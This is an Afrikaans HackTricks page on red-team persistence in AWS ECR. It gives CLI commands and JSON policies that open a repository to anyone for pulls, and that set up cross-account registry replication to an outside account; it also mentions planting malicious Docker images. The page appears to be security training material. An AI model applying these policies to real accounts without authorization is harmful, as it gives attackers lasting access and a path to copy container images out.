AWS - ECR Persistence

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

ECR

Vir meer inligting, kyk na:

AWS - ECR Enum

Versteekte Docker-beeld met Skadelike Kode

'n Aanvaller kan 'n Docker-beeld wat skadelike kode bevat, oplaai na 'n ECR-opgaarplek en dit gebruik om volharding in die teiken AWS-rekening te handhaaf. Die aanvaller kan dan die skadelike beeld in verskeie dienste binne die rekening ontplooi, soos Amazon ECS of EKS, op 'n sluipende wyse.

Opgaarplekbeleid

Voeg 'n beleid by 'n enkele opgaarplek wat jouself (of almal) toegang tot 'n opgaarplek verleen:

aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json

# With a .json such as

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

Let wel dat ECR vereis dat gebruikers toestemming moet hê om oproepe te maak na die ecr:GetAuthorizationToken API deur 'n IAM-beleid voordat hulle kan aanmeld by 'n register en enige afbeeldings van enige Amazon ECR-opgaarplek kan stoot of trek.

Registerbeleid & Kruis-rekening Replikasie

Dit is moontlik om 'n register outomaties te dupliseer in 'n eksterne rekening deur kruis-rekening replikasie te konfigureer, waar jy moet aandui na die eksterne rekening waar jy die register wil dupliseer.

Eerstens moet jy die eksterne rekening toegang gee tot die register met 'n registerbeleid soos:

aws ecr put-registry-policy --policy-text file://my-policy.json

# With a .json like:

{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}

Pas dan die replikasie konfigurasie toe:

aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2

# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated